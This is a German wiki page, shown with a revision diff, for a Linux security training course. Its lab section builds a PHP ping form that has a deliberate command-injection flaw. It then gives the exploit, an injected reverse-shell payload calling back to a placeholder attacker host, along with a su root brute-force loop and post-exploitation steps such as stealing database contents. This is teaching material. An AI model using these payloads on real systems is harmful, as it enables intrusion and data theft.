Informationssicherheit in Linux-Umgebungen: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(→Links) |
|||
| Zeile 63: | Zeile 63: | ||
* nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer ''www-data'' bekommen! | * nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer ''www-data'' bekommen! | ||
* Von dieser Position aus kann man folgenderweise weitermachen: | * Von dieser Position aus kann man folgenderweise weitermachen: | ||
| − | * Backend Code des Servers auslesen | + | ** Backend Code des Servers auslesen |
| − | * Informationen aus den Datenbanken stehlen | + | ** Informationen aus den Datenbanken stehlen |
| − | * Brute Force root Passwort: '''for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done''' | + | ** Brute Force root Passwort: '''for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done''' |
| + | ** Netzwerktopologie aufdecken: mit '''nmap''' (falls installiert) oder manuell mit '''ping''' und '''netcat''' | ||
| + | ** Informationen über verwendete Software-Versionen sammeln | ||
= SELinux = | = SELinux = | ||
Version vom 17. August 2023, 10:03 Uhr
physischer Zugangsschutz
Bootzugriff absichern
- Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
- So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
- D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
- Anleitung zu Linux boot hacking
- Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
- Anleitung zum setzen eines Passworts für GRUB2
Brute Force Attacken
Hydra
SSH Daemon Konfiguration
Fail2Ban
Command Injection über eine Webanwendung
Laboraufbau
- apt install apache2 php-sqlite3 libapache2-mod-php
Schwachstelle im Code
- vim /var/www/html/command-injection.php
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br>
<input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])){
$ip = $_POST['ip'];
$cmd = 'ping -c 4 ' . $ip;
$output = shell_exec($cmd);
echo "<pre> $output</pre>";
}
?>
</body>
</html>
</php>
Exploit
- Auf der Angreifermaschine:
- nc -p port
- In der Webanwendung:
- 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
- nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer www-data bekommen!
- Von dieser Position aus kann man folgenderweise weitermachen:
- Backend Code des Servers auslesen
- Informationen aus den Datenbanken stehlen
- Brute Force root Passwort: for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done
- Netzwerktopologie aufdecken: mit nmap (falls installiert) oder manuell mit ping und netcat
- Informationen über verwendete Software-Versionen sammeln
SELinux
OWASP Juice Shop
Burp
Suricata
Schwachstellenerkennung/-scanning
nmap
Greenbone Security Manager
Cross Site Scripting
Office-Tools Macro-Exploit
Links
- Brute Force su als Skript: https://github.com/carlospolop/su-bruteforce
